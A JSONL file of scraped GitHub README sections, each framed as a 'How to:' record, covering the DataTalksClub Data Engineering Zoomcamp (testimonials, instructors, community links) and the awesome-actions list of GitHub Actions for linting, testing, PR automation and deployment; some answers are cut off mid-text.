{"id": "gh_8711a836421f", "question": "How to: Testimonials", "question_body": "About DataTalksClub/data-engineering-zoomcamp", "answer": "> Thank you for what you do! The Data Engineering Zoomcamp gave me skills that helped me land my first tech job.\n> \n> — [Tim Claytor](https://www.linkedin.com/in/claytor/) ([Source](https://www.linkedin.com/feed/update/urn:li:activity:7396882073308938240?commentUrn=urn%3Ali%3Acomment%3A%28activity%3A7396882073308938240%2C7396889959711793152%29&dashCommentUrn=urn%3Ali%3Afsd_comment%3A%287396889959711793152%2Curn%3Ali%3Aactivity%3A7396882073308938240%29))\n\n> Three months might seem like a long time, but the growth and learning during this period are truly remarkable. It was a great experience with a lot of learning, connecting with like-minded people from all around the world, and having fun. I must admit, this was really hard. But the feeling of accomplishment and learning made it all worthwhile. And I would do it again!\n>\n> — [Nevenka Lukic](https://www.linkedin.com/in/nevenka-lukic/) ([Source](https://www.linkedin.com/posts/nevenka-lukic_data-engineering-zoomcamp-final-project-activity-7181985646033461248-Lc1O?utm_source=share&utm_medium=member_desktop&rcm=ACoAADJu9vMBW6iyIYswCQnN6t8UJLkXH2tQPi4))\n\n> One of the significant things I inferred from the Zoomcamp is to prioritize fundamentals and principles over ever-evolving tools and tech stacks. Hugely grateful to Alexey Grigorev for putting together this incredible course and offering it for free.\n>\n> — [Siddhartha Gogoi](https://www.linkedin.com/in/siddhartha-gogoi/) ([Source](https://www.linkedin.com/posts/activity-7325692407675604992-XSKI?utm_source=share&utm_medium=member_desktop&rcm=ACoAADJu9vMBW6iyIYswCQnN6t8UJLkXH2tQPi4))\n\n> Such a fun deep dive into data engineering, cloud automation, and orchestration. I learned so much along the way. Big shoutout to Alexey Grigorev and the DataTalksClub team for the opportunity and guidance throughout the 3 months of the free course.\n>\n> — [Assitan NIARE](https://www.linkedin.com/in/assitan-niar%C3%A9-data/) ([Source](https://www.linkedin.com/posts/activity-7317441554023874561-E3wm?utm_source=share&utm_medium=member_desktop&rcm=ACoAADJu9vMBW6iyIYswCQnN6t8UJLkXH2tQPi4))\n\n> If you’re serious about breaking into data engineering, start here. The repo’s structure, community, and hands-on focus make it unparalleled.\n> \n> — [Wady Osama](https://www.linkedin.com/in/wadyosama/) ([Source](https://www.linkedin.com/posts/wadyosama_dataengineering-zoomcamp-dezoomcamp-activity-7292126824711520258-puJm?utm_source=share&utm_medium=member_desktop&rcm=ACoAADJu9vMBW6iyIYswCQnN6t8UJLkXH2tQPi4))", "tags": ["DataTalksClub"], "source": "github_gists", "category": "DataTalksClub", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 36371, "answer_score": 10, "has_code": false, "url": "https://github.com/DataTalksClub/data-engineering-zoomcamp", "collected_at": "2026-01-17T08:17:04.484944"}
{"id": "gh_534f209160a3", "question": "How to: **Getting Help on Slack**", "question_body": "About DataTalksClub/data-engineering-zoomcamp", "answer": "Join the [`#course-data-engineering`](https://app.slack.com/client/T01ATQK62F8/C01FABYF2RG) channel on [DataTalks.Club Slack](https://datatalks.club/slack.html) for discussions, troubleshooting, and networking.\n\nTo keep discussions organized:\n- Follow [our guidelines](asking-questions.md) when posting questions.\n- Review the [community guidelines](https://datatalks.club/slack/guidelines.html).", "tags": ["DataTalksClub"], "source": "github_gists", "category": "DataTalksClub", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 36371, "answer_score": 10, "has_code": false, "url": "https://github.com/DataTalksClub/data-engineering-zoomcamp", "collected_at": "2026-01-17T08:17:04.484950"}
{"id": "gh_10d9f5e8d797", "question": "How to: Meet the Instructors", "question_body": "About DataTalksClub/data-engineering-zoomcamp", "answer": "- [Alexey Grigorev](https://linkedin.com/in/agrigorev)\n- [Michael Shoemaker](https://www.linkedin.com/in/michaelshoemaker1/)\n- [Will Russell](https://www.linkedin.com/in/wrussell1999/)\n- [Anna Geller](https://www.linkedin.com/in/anna-geller-12a86811a/)\n- [Juan Manuel Perafan](https://www.linkedin.com/in/jmperafan/)\n- [Diana Gromakovskaia](https://www.linkedin.com/in/diana-gromakovskaia/)\n\nPast instructors:\n\n- [Victoria Perez Mola](https://www.linkedin.com/in/victoriaperezmola/)\n- [Ankush Khanna](https://linkedin.com/in/ankushkhanna2)\n- [Sejal Vaidya](https://www.linkedin.com/in/vaidyasejal/)\n- [Irem Erturk](https://www.linkedin.com/in/iremerturk/)\n- [Luis Oliveira](https://www.linkedin.com/in/lgsoliveira/)\n- [Zach Wilson](https://www.linkedin.com/in/eczachly)", "tags": ["DataTalksClub"], "source": "github_gists", "category": "DataTalksClub", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36371, "answer_score": 10, "has_code": false, "url": "https://github.com/DataTalksClub/data-engineering-zoomcamp", "collected_at": "2026-01-17T08:17:04.484956"}
{"id": "gh_b103cc42ea78", "question": "How to: Sponsors & Supporters", "question_body": "About DataTalksClub/data-engineering-zoomcamp", "answer": "A special thanks to our course sponsors for making this initiative possible!\nInterested in supporting our community? Reach out to [alexey@datatalks.club](mailto:alexey@datatalks.club).", "tags": ["DataTalksClub"], "source": "github_gists", "category": "DataTalksClub", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 36371, "answer_score": 10, "has_code": true, "url": "https://github.com/DataTalksClub/data-engineering-zoomcamp", "collected_at": "2026-01-17T08:17:04.484962"}
{"id": "gh_13b7076af226", "question": "How to: About DataTalks.Club", "question_body": "About DataTalksClub/data-engineering-zoomcamp", "answer": "DataTalks.Club\nis a global online community of data enthusiasts. It's a place to discuss data, learn, share knowledge, ask and answer questions, and support each other.\nWebsite\n•\nJoin Slack Community\n•\nNewsletter\n•\nUpcoming Events\n•\nYouTube\n•\nGitHub\n•\nLinkedIn\n•\nTwitter\nAll the activity at DataTalks.Club mainly happens on [Slack](https://datatalks.club/slack.html). We post updates there and discuss different aspects of data, career questions, and more.\n\nAt DataTalksClub, we organize online events, community activities, and free courses. You can learn more about what we do at [DataTalksClub Community Navigation](https://www.notion.so/DataTalksClub-Community-Navigation-bf070ad27ba44bf6bbc9222082f0e5a8?pvs=21).", "tags": ["DataTalksClub"], "source": "github_gists", "category": "DataTalksClub", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 36371, "answer_score": 10, "has_code": false, "url": "https://github.com/DataTalksClub/data-engineering-zoomcamp", "collected_at": "2026-01-17T08:17:04.484972"}
{"id": "gh_55306de16f23", "question": "How to: Official Resources", "question_body": "About sdras/awesome-actions", "answer": "- [Official Site](https://github.com/features/actions)\n- [Official Documentation](https://help.github.com/en/actions)\n- [Official Actions organization](https://github.com/actions)\n  - [actions/virtual-environments](https://github.com/actions/virtual-environments) - GitHub Actions virtual environments.\n  - [actions/runner](https://github.com/actions/runner) - The Runner for GitHub Actions.\n- [GitHub Blog Announcement](https://github.blog/2018-10-17-action-demos/)", "tags": ["sdras"], "source": "github_gists", "category": "sdras", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 27329, "answer_score": 10, "has_code": false, "url": "https://github.com/sdras/awesome-actions", "collected_at": "2026-01-17T08:17:08.037122"}
{"id": "gh_ac19a7e92a36", "question": "How to: Workflow Examples", "question_body": "About sdras/awesome-actions", "answer": "- [actions/starter-workflows](https://github.com/actions/starter-workflows) - Starter workflow management.\n- [actions/example-services](https://github.com/actions/example-services) - Example workflows using service containers.", "tags": ["sdras"], "source": "github_gists", "category": "sdras", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 27329, "answer_score": 10, "has_code": false, "url": "https://github.com/sdras/awesome-actions", "collected_at": "2026-01-17T08:17:08.037135"}
{"id": "gh_662bfac39a12", "question": "How to: Official Actions", "question_body": "About sdras/awesome-actions", "answer": "#### Workflow Tool Actions\n\nTool actions for your workflow.\n- [actions/checkout](https://github.com/actions/checkout) - Setup your repository on your workflow.\n- [actions/upload-artifact](https://github.com/actions/upload-artifact) - Upload artifacts from your workflow.\n- [actions/download-artifact](https://github.com/actions/download-artifact) - Download artifacts from your build.\n- [actions/cache](https://github.com/actions/cache) - Cache dependencies and build outputs in GitHub Actions.\n- [actions/github-script](https://github.com/actions/github-script) - Write a script for GitHub API and the workflow contexts.\n\n#### Actions for GitHub Automation\n\nAutomate management for issues, pull requests, and releases.\n\n- [actions/create-release](https://github.com/actions/create-release) - An Action to create releases via the GitHub Release API.\n- [actions/upload-release-asset](https://github.com/actions/upload-release-asset) - An Action to upload a release asset via the GitHub Release API.\n- [actions/first-interaction](https://github.com/actions/first-interaction) - An action for filtering pull requests and issues from first-time contributors.\n- [actions/stale](https://github.com/actions/stale) - Marks issues and pull requests that have not had recent interaction.\n- [actions/labeler](https://github.com/actions/labeler) - An action for automatically labelling pull requests.\n- [actions/delete-package-versions](https://github.com/actions/delete-package-versions) - Delete versions of a package from GitHub Packages.\n\n#### Setup Actions\n\nSet up your GitHub Actions workflow with a specific version of your programming languages.\n\n- [actions/setup-node: Node.js](https://github.com/actions/setup-node)\n- [actions/setup-python: Python](https://github.com/actions/setup-python)\n- [actions/setup-go: Go](https://github.com/actions/setup-go)\n- [actions/setup-dotnet: .NET core sdk](https://github.com/actions/setup-dotnet)\n- [actions/setup-haskell: Haskell (GHC and Cabal)](https://github.com/actions/setup-haskell)\n- [actions/setup-java: Java](https://github.com/actions/setup-java)\n- [actions/setup-ruby: Ruby](https://github.com/actions/setup-ruby)\n- [actions/setup-elixir: Elixir](https://github.com/actions/setup-elixir)\n- [actions/setup-julia: Julia](https://github.com/julia-actions/setup-julia)", "tags": ["sdras"], "source": "github_gists", "category": "sdras", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 27329, "answer_score": 10, "has_code": false, "url": "https://github.com/sdras/awesome-actions", "collected_at": "2026-01-17T08:17:08.037148"}
{"id": "gh_b049a26dba27", "question": "How to: Create your Actions", "question_body": "About sdras/awesome-actions", "answer": "#### JavaScript and TypeScript Actions\n\n- [actions/toolkit](https://github.com/actions/toolkit) - The GitHub ToolKit for developing GitHub Actions.\n- [actions/hello-world-javascript-action](https://github.com/actions/hello-world-javascript-action) - A template to demonstrate how to build a JavaScript action.\n- [actions/javascript-action](https://github.com/actions/javascript-action) - Create a JavaScript Action.\n- [actions/typescript-action](https://github.com/actions/typescript-action) - Create a TypeScript Action.\n- [actions/http-client](https://github.com/actions/http-client) - A lightweight HTTP client optimized for use with actions, TypeScript with generics and async await.\n\n#### Docker Container Actions\n\n- [actions/hello-world-docker-action](https://github.com/actions/hello-world-docker-action) - A template to demonstrate how to build a Docker action.\n- [actions/container-toolkit-action](https://github.com/actions/container-toolkit-action) - Template repo for creating container actions using actions/toolkit.", "tags": ["sdras"], "source": "github_gists", "category": "sdras", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 27329, "answer_score": 10, "has_code": false, "url": "https://github.com/sdras/awesome-actions", "collected_at": "2026-01-17T08:17:08.037156"}
{"id": "gh_4079501eb68a", "question": "How to: Collection of Actions", "question_body": "About sdras/awesome-actions", "answer": "- [Use HashiCorp's Terraform](https://github.com/hashicorp/setup-terraform)\n- [GitHub Actions for Yarn 1](https://github.com/Borales/actions-yarn)\n- [GitHub Actions for Yarn 2](https://github.com/sergioramos/yarn-actions)\n- [GitHub Actions for Golang](https://github.com/cedrickring/golang-action)\n- [GitHub Actions for R and accompanying #rstats package](http://maxheld.de/ghactions/)\n- [GitHub Actions for WordPress](https://github.com/10up/actions-wordpress/)\n- [GitHub Actions for Composer](https://github.com/MilesChou/composer-action)\n- [GitHub Actions for Flutter](https://github.com/subosito/flutter-action)\n- [GitHub Actions for PHP](https://github.com/shivammathur/setup-php)\n- [GitHub Actions for Rust](https://github.com/actions-rs)\n- [GitHub Actions for Android](https://github.com/Malinskiy/action-android)\n- [GitHub Actions for Logtalk and Prolog](https://github.com/logtalk-actions)\n- [GitHub Actions for Deno](https://github.com/denolib/setup-deno)\n- [GitHub Actions for Unity](https://github.com/webbertakken/unity-actions)\n- [Octions - GitHub Actions for GitHub REST API](https://github.com/maxkomarychev/octions)\n- [GitHub Actions for Docker](https://github.com/docker/github-actions)\n- [GitHub Actions for AWS](https://github.com/clowdhaus/aws-github-actions)\n- [Actions Hub](https://github.com/actionshub)", "tags": ["sdras"], "source": "github_gists", "category": "sdras", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 27329, "answer_score": 10, "has_code": false, "url": "https://github.com/sdras/awesome-actions", "collected_at": "2026-01-17T08:17:08.037179"}
{"id": "gh_91ce46715940", "question": "How to: Static Analysis", "question_body": "About sdras/awesome-actions", "answer": "- [PHPStan Static code analyzer Action](https://github.com/OskarStark/phpstan-ga)\n- [GraphQL Inspector Action](https://github.com/kamilkisiela/graphql-inspector)\n- [PowerShell static analysis with PSScriptAnalyzer](https://github.com/devblackops/github-action-psscriptanalyzer)\n- [Run tfsec, with reviewdog output on the PR](https://github.com/reviewdog/action-tfsec)\n\n#### Testing\n\n- [Run Tests through Puppeteer, the Headless Chrome Node API](https://github.com/ianwalter/puppeteer)\n- [xUnit Slack Reporter: Sends summary of tests from xUnit reports to a Slack channel](https://github.com/ivanklee86/xunit-slack-reporter)\n- [Run codeception tests](https://github.com/joelwmale/codeception-action)\n- [Run TestCafe tests](https://github.com/DevExpress/testcafe-action)\n- [Run Unity tests](https://github.com/webbertakken/unity-test-runner)\n- [Run Cypress E2E tests](https://github.com/cypress-io/github-action)\n- [Test Ansible roles with Molecule](https://github.com/robertdebock/molecule-action)\n- [Run performance testing with artillery.io](https://github.com/kenju/github-actions-artillery)\n- [Detect Flaky Tests with BuildPulse](https://github.com/Workshop64/buildpulse-action)\n- [Display Inline Code Annotations for Jest Tests](https://github.com/IgnusG/jest-report-action)\n- [Run Julia tests](https://github.com/julia-actions/julia-runtest)\n\n#### Linting\n\n- [PHP Coding Standards Fixer Action](https://github.com/OskarStark/php-cs-fixer-ga)\n- [Runs Hadolint against a Dockerfile within a repository](https://github.com/burdzwastaken/hadolint-action)\n- [Run ESLint, with reviewdog output on the PR](https://github.com/reviewdog/action-eslint)\n- [JavaScript-based linter for \\*.workflow files](https://github.com/OmarTawfik/github-actions-js)\n- [Lint terraform files using tflint, with reviewdog output on the PR](https://github.com/reviewdog/action-tflint)\n- [autopep8: Automatically formats Python code to conform to the PEP 8 style guide](https://github.com/peter-evans/autopep8)\n- [Run `ergebnis/composer-normalize` to ensure your PHP project has a normalized `composer.json`](https://github.com/ergebnis/composer-normalize-action)\n- [Run `stolt/lean-package-validator` to ensure your package has only the required `runtime` artifacts](https://github.com/raphaelstolt/lean-package-validator-action)\n- [Run Go lint checks on PR event](https://github.com/ArangoGutierrez/GoLinty-Action)\n- [Node.js - Automatically run the `format` and/or `lint` script used by the package](https://github.com/MarvinJWendt/run-node-formatter)\n- [Stylelinter - GitHub Action that runs stylelint](https://github.com/exelban/stylelint)\n- [Run stylelint, with reviewdog output on the PR](https://github.com/reviewdog/action-stylelint)\n- [PyCodeStyle Action - A GitHub Action that leaves a comment on your PR with pycodestyle (autopep8) feedback](https://github.com/ankitvgupta/pycodestyle-action)\n- [wemake-python-styleguide - The strictest and most opinionated python linter ever, with optional reviewdog output on the PR](https://github.com/wemake-services/wemake-python-styleguide)\n- [Run TSLint with status checks and file diff annotations](https://github.com/mooyoul/tslint-actions)\n- [Lint Pull Request commits with commitlint](https://github.com/wagoid/commitlint-github-action)\n- [Run vint, with reviewdog output on the PR](https://github.com/reviewdog/action-vint)\n- [Run mispell, with reviewdog output on the PR](https://github.com/reviewdog/action-misspell)\n- [Run golangci-lint, with reviewdog output on the PR](https://github.com/reviewdog/action-golangci-lint)\n- [Run shellcheck, with reviewdog output on the PR](https://github.com/reviewdog/action-shellcheck)\n- [Catch insensitive, inconsiderate writing in your markdown docs](https://github.com/theashraf/alex-action)\n- [Run dotenv-linter - Lints your .env files like a charm, with optional reviewdog output on the PR](https://github.com/wemake-services/dotenv-linter)\n- [Run dotenv-linter, with reviewdog output on the PR](https://github.com/mgrachev/action-dotenv-linter)\n- [Show and auto-fix linting errors for many programming languages](https://github.com/samuelmeuli/lint-action)\n- [PHP_CodeSniffer With Annotations](https://github.com/chekalsky/phpcs-action)\n- [Linter for markdown (with presets)](https://github.com/avto-dev/markdown-lint)\n- [Stylelint problem matcher to create annotations](https://github.com/xt0rted/stylelint-problem-matcher)\n- [Run sqlcheck on the PR to identifies anti-patterns in SQL queries](https://github.com/yokawasa/action-sqlcheck)\n- [Validate Fastlane Supply Metadata Against the Play Store Guidelines](https://github.com/ashutoshgngwr/validate-fastlane-supply-metadata)\n- [Run Golint to lint your Golang code](https://github.com/Jerome1337/golint-action)\n\n#### Security\n\n- [A vulnerability scanner for your docker images](https://github.com/phonito/phonito-scanner-action)\n- [Automatically approve and merge Dependabot updates](https://github.com/ridedott/dependabot-auto-merge-action)\n- [Run dlint security lin", "tags": ["sdras"], "source": "github_gists", "category": "sdras", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 27329, "answer_score": 10, "has_code": false, "url": "https://github.com/sdras/awesome-actions", "collected_at": "2026-01-17T08:17:08.037209"}
{"id": "gh_3ebffb15d073", "question": "How to: Dynamic Analysis", "question_body": "About sdras/awesome-actions", "answer": "- [Run Gofmt to check Golang code formatting](https://github.com/Jerome1337/gofmt-action)\n- [Run Goimports to check Golang imports order](https://github.com/Jerome1337/goimports-action)", "tags": ["sdras"], "source": "github_gists", "category": "sdras", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 27329, "answer_score": 10, "has_code": false, "url": "https://github.com/sdras/awesome-actions", "collected_at": "2026-01-17T08:17:08.037215"}
{"id": "gh_21879dea4296", "question": "How to: Monitoring", "question_body": "About sdras/awesome-actions", "answer": "- [Audit a webpage with Google Chrome's Lighthouse tests](https://github.com/jakejarvis/lighthouse-action)\n- [Runs Lighthouse and posts results to PRs and Slack](https://github.com/foo-software/lighthouse-check-action)\n- [Run Lighthouse in CI using GitHub Actions](https://github.com/treosh/lighthouse-ci-action)\n- [Continuous Benchmarking and Benchmark Visualization for Go](https://github.com/bobheadxi/gobenchdata)\n- [Size Limit Action](https://github.com/andresz1/size-limit-action) - Comments cost comparison of your JS in PRs and rejects them if limit is exceeded.\n- [Check bundlephobia](https://github.com/carlesnunez/check-my-bundlephobia) - Comments new and modified package size according to bundlephobia.io website and rejects PR on threshold surpassed.", "tags": ["sdras"], "source": "github_gists", "category": "sdras", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 27329, "answer_score": 10, "has_code": false, "url": "https://github.com/sdras/awesome-actions", "collected_at": "2026-01-17T08:17:08.037221"}
{"id": "gh_62445a88d8f6", "question": "How to: Pull Requests", "question_body": "About sdras/awesome-actions", "answer": "- [Set PR Reviewers Based on Assignees](https://github.com/pullreminders/assignee-to-reviewer-action)\n- [Open or Update PR on Branch Push (with Branch Selection)](https://github.com/vsoch/pull-request-action)\n- [Automatically Rebase a PR](https://github.com/cirrus-actions/rebase)\n- [Label PR once it has a Specified Number of Approvals](https://github.com/pullreminders/label-when-approved-action)\n- [Add Labels to a PR based on Matched File Patterns](https://github.com/banyan/auto-label)\n- [Auto-Approve PRs](https://github.com/hmarr/auto-approve-action)\n- [Automatically add Reviewers to PR based on the Configuration File](https://github.com/kentaro-m/auto-assign-action)\n- [Add Labels to a PR based on Branch Name Patterns](https://github.com/TimonVS/pr-labeler-action)\n- [Add Labels to a PR based on Total Size of the Diff](https://github.com/pascalgn/size-label-action)\n- [Automatically merge PRs That Are Ready](https://github.com/pascalgn/automerge-action)\n- [Verify That PRs Contain a Ticket Reference](https://github.com/vijaykramesh/pr-lint-action)\n- [Create a PR for Changes to your Repository in the Actions Workspace](https://github.com/peter-evans/create-pull-request)\n- [Lint a PR](https://github.com/seferov/pr-lint-action)\n- [ChatOps for PRs](https://github.com/machine-learning-apps/actions-chatops)\n- [Prefix Title and Body of a PR Based on Text Extracted from Branch Name](https://github.com/tzkhan/pr-update-action)\n- [Block Autosquash Commits](https://github.com/xt0rted/block-autosquash-commits-action)\n- [Automatically Bump and Tag on Merge](https://github.com/anothrNick/github-tag-action)\n- [Automatically Update PRs with Outdated Checks and Squash and Merge the Ones Matching All Branch Protections](https://github.com/tibdex/autosquash)\n- [Merge Pal - Automatically Update and Merge PRs](https://github.com/maxkomarychev/merge-pal-action)\n- [Enforce naming convention on pull request title](https://github.com/deepakputhraya/action-pr-title)\n- [Pull Request Stuck Notifier](https://github.com/jrylan/github-action-stuck-pr-notifier)\n- [Lint pull request name with commitlint (Awesome if you squash merge !)](https://github.com/JulienKode/pull-request-name-linter-action)\n- [Block PR merges when Checks for target branches are failing](https://github.com/cirrus-actions/branch-guard)\n- [Get generated static site screenshots updated by Pull Request](https://github.com/ssowonny/diff-pages-action)\n- [Add Labels Depending if the Pull Request Still in Progress](https://github.com/AlbertHernandez/working-label-action)\n- [Ticket Check Action](https://github.com/neofinancial/ticket-check-action) - Automatically add a ticket or issue number to the start of all Pull Request titles.\n- [Pull Request Lint With Regex](https://github.com/MorrisonCole/pr-lint-action)\n- [Pull Request Landmines](https://github.com/tylermurry/github-pr-landmine)\n- [Annotate a GitHub Pull Request Based on a Checkstyle XML-Report](https://github.com/staabm/annotate-pull-request-from-checkstyle)\n- [Pull Request Stats](https://github.com/flowwer-dev/pull-request-stats) -  Print relevant stats about reviewers.\n- [Pull Request Description Enforcer](https://github.com/derkinderfietsen/pr-description-enforcer) - Enforces description on pull requests.", "tags": ["sdras"], "source": "github_gists", "category": "sdras", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 27329, "answer_score": 10, "has_code": false, "url": "https://github.com/sdras/awesome-actions", "collected_at": "2026-01-17T08:17:08.037232"}
{"id": "gh_6bbfdcfd9f36", "question": "How to: GitHub Pages", "question_body": "About sdras/awesome-actions", "answer": "- [Deploy a Zola site to GitHub Pages](https://github.com/shalzz/zola-deploy-action)\n- [Build Hugo static content site and publish it to gh-pages branch](https://github.com/khanhicetea/gh-actions-hugo-deploy-gh-pages)\n- [Build a Jekyll site—with Custom Jekyll Plugins & Build Scripts—and deploy it back to the Gh-Pages Branch](https://github.com/BryanSchuetz/jekyll-deploy-gh-pages)\n- [Google Dataset Search Metadata](https://www.github.com/openschemas/extractors/) - And other schema.org extractors to make datasets discoverable from GitHub pages.\n- [GitHub Actions for deploying to GitHub Pages with Static Site Generators](https://github.com/peaceiris/actions-gh-pages)\n- [GitHub Action for Hexo](https://github.com/heowc/action-hexo)\n- [Deploy Google Analytics stats to GitHub Pages](https://github.com/cristianpb/analytics-google)\n- [A Jupyter Notebook Blogging Platform Powered by GitHub Actions, Pages and Jekyll](https://github.com/fastai/fastpages)\n- [Deploy A Static Site to GitHub Pages](https://github.com/appleboy/gh-pages-action) - Deploy to custom directory and ignore folder/file.\n- [Deploy to GitHub Pages with Advanced Settings](https://github.com/crazy-max/ghaction-github-pages)", "tags": ["sdras"], "source": "github_gists", "category": "sdras", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 27329, "answer_score": 10, "has_code": false, "url": "https://github.com/sdras/awesome-actions", "collected_at": "2026-01-17T08:17:08.037242"}
{"id": "gh_44f229054e2c", "question": "How to: Notifications and Messages", "question_body": "About sdras/awesome-actions", "answer": "- [Send a Discord notification](https://github.com/Ilshidur/action-discord)\n- [Post a Slack message as a bot](https://github.com/pullreminders/slack-action)\n- [Send an SMS from GitHub Actions using Nexmo](https://github.com/nexmo-community/nexmo-sms-action)\n- [Send an SMS from GitHub Actions using Clockworksms](https://github.com/bharathvaj1995/clockwork-sms-action)\n- [Send a Telegram Message](https://github.com/appleboy/telegram-action)\n- [Send a File or Text Message to Discord (custom define color, username or avatar)](https://github.com/appleboy/discord-action)\n- [Collaborate on tweets using pull requests](https://github.com/gr2m/twitter-together)\n- [Send a Push Notification via Push by Techulus](https://github.com/techulus/push-github-action)\n- [Send email with SendGrid](https://github.com/peter-evans/sendgrid-action)\n- [Send a Push Notification via Join](https://github.com/ShaunLWM/action-join)\n- [New package version checker for npm](https://github.com/MeilCli/npm-update-check-action)\n- [New package version checker for NuGet](https://github.com/MeilCli/nuget-update-check-action)\n- [New package version checker for Gradle](https://github.com/MeilCli/gradle-update-check-action)\n- [Send a Push Notification via Pushbullet](https://github.com/ShaunLWM/action-pushbullet)\n- [Create an Outlook Calendar Event using Microsoft Graph](https://github.com/anoopt/ms-graph-create-event)\n- [Watch for GitHub Wiki page changes and post to Slack](https://github.com/benmatselby/gollum-page-watcher-action)\n- [Send an SMS using MessageBird](https://github.com/nikitasavinov/messagebird-sms-action)\n- [Reply to Stale Bots](https://github.com/c-hive/fresh-bot)\n- [Send an Embed Message to Discord](https://github.com/sarisia/actions-status-discord)\n- [Keep Your PRs in Sync With Teamwork Tasks](https://github.com/Teamwork/github-sync)\n- [Send Microsoft Teams Notification](https://github.com/opsless/ms-teams-github-actions)", "tags": ["sdras"], "source": "github_gists", "category": "sdras", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 27329, "answer_score": 10, "has_code": false, "url": "https://github.com/sdras/awesome-actions", "collected_at": "2026-01-17T08:17:08.037251"}
{"id": "gh_d5e7118b27fd", "question": "How to: Deployment", "question_body": "About sdras/awesome-actions", "answer": "- [Deploy to Netlify](https://github.com/netlify/actions)\n- [Deploy a Probot App using Actions](https://probot.github.io/docs/deployment/#github-actions)\n- [Deploy a playlist to Spotify](https://github.com/swinton/SpotHub)\n- [Deploy VS Code extensions with vsce](https://github.com/lannonbr/vsce-action)\n- [Purge Cloudflare cache after updating a website](https://github.com/jakejarvis/cloudflare-purge-action)\n- [Deploy your DNS configuration using DNS Control](https://github.com/koenrh/dnscontrol-action)\n- [Deploy a Theme to Shopify](https://github.com/pgrimaud/action-shopify)\n- [Trigger multiple GitLab CI Pipeline](https://github.com/appleboy/gitlab-ci-action)\n- [Trigger multiple Jenkins Jobs](https://github.com/appleboy/jenkins-action)\n- [GitHub Action for Homebrew Tap](https://github.com/izumin5210/action-homebrew-tap)\n- [Copy files and artifacts via SSH](https://github.com/appleboy/scp-action)\n- [Executing remote ssh commands](https://github.com/appleboy/ssh-action)\n- [Publish a Python distribution package to PyPI](https://github.com/pypa/gh-action-pypi-publish)\n- [Deploy Static Website to Azure Storage](https://github.com/feeloor/azure-static-website-deploy)\n- [Cross platform Chocolatey CLI to build and publish packages](https://github.com/crazy-max/ghaction-chocolatey)\n- [Deploy iOS Pod Library to Cocoapods](https://github.com/michaelhenry/deploy-to-cocoapods-github-action)\n- [GitHub Action for TencentCloud Serverless](https://github.com/Juliiii/action-scf)\n- [Publish npm (pre)releases](https://github.com/epeli/npm-release/)\n- [Deploy a static site to Surge.sh](https://github.com/yavisht/deploy-via-surge.sh-github-action-template)\n- [GitHub Action for GoReleaser, a release automation tool for Go projects](https://github.com/goreleaser/goreleaser-action)\n- [FTP Deploy Action, Deploys a GitHub project to a FTP server using GitHub actions](https://github.com/SamKirkland/FTP-Deploy-Action)\n- [Publish Article to Dev.to](https://github.com/tylerauerbeck/publish-to-dev.to-action)\n- [Action For Semantic Release](https://github.com/cycjimmy/semantic-release-action)\n- [Deploy a Collection to Ansible Galaxy](https://github.com/artis3n/ansible_galaxy_collection)\n- [Publish module to Puppet Forge](https://github.com/barnumbirr/action-forge-publish)\n- [Build and publish Electron apps](https://github.com/samuelmeuli/action-electron-builder)\n- [Publish a Maven package](https://github.com/samuelmeuli/action-maven-publish)\n- [Build and deploy a theme to Ghost CMS](https://github.com/TryGhost/action-deploy-theme)\n- [Deploy an Ansible role to Ansible Galaxy](https://github.com/robertdebock/galaxy-action)\n- [Publish one or more JS modules to a registry](https://github.com/author/action-publish)\n- [Publish a package with 2FA using Slack](https://github.com/erezrokah/2fa-with-slack-action)\n- [Serialize Workflow Runs in Continuous Deployment Pipelines](https://github.com/softprops/turnstyle)\n- [Netlify Deploy GitHub Action for each commit](https://github.com/nwtgck/actions-netlify)\n- [Run Ansible Playbooks](https://github.com/arillso/action.playbook)\n- [Publish a Python Distribution Package to Anaconda Cloud](https://github.com/fcakyon/conda-publish-action)\n- [Deploy VS Code Extension to Visual Studio Marketplace or the Open VSX Registry](https://github.com/HaaLeo/publish-vscode-extension)\n- [Deploy a YouTube Video to Anchor.fm Podcast](https://github.com/Schrodinger-Hat/youtube-to-anchorfm)\n- [Deploy with AWS CodeDeploy](https://github.com/webfactory/create-aws-codedeploy-deployment)\n\n#### Docker\n\n- [Update a Docker Hub repository description from README.md](https://github.com/peter-evans/dockerhub-description)\n- [Publish Docker Images to the GitHub Package Registry (GPR)](https://github.com/machine-learning-apps/gpr-docker-publish)\n- [Update a repository's \"Full description\" on Docker Hub](https://github.com/mpepping/github-actions/tree/master/docker-hub-metadata)\n- [Build and publish docker images to any registry using Kaniko](https://github.com/outillage/kaniko-action)\n- [Monitor and limit your docker image size](https://github.com/wemake-services/docker-image-size-limit)\n- [Publish Docker Images to the Amazon Elastic Container Registry (ECR)](https://github.com/appleboy/docker-ecr-action)\n- [Build And Push Your Docker Images Caching Each Stage To Reduce Build Time](https://github.com/whoan/docker-build-with-cache-action)\n- [Set up Docker Buildx](https://github.com/crazy-max/ghaction-docker-buildx)\n- [Convert Branch or Tag Name Into Docker-Compatible Image Tag](https://github.com/ankitvgupta/ref-to-tag-action/)\n- [Update a Container Repository Description From README.md](https://github.com/marketplace/actions/update-container-description-action) - Supported Registries: Docker Hub, Quay, Harbor.\n\n#### Kubernetes\n\n- [Deploy to any Cloud or Kubernetes Using Pulumi](https://github.com/pulumi/actions)\n- [Deploy to Kubernetes with kubectl](https://github.com/steebchen/kubectl)\n- [Get Kubeconfig File From Google Kubernetes Engine", "tags": ["sdras"], "source": "github_gists", "category": "sdras", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 27329, "answer_score": 10, "has_code": false, "url": "https://github.com/sdras/awesome-actions", "collected_at": "2026-01-17T08:17:08.037267"}
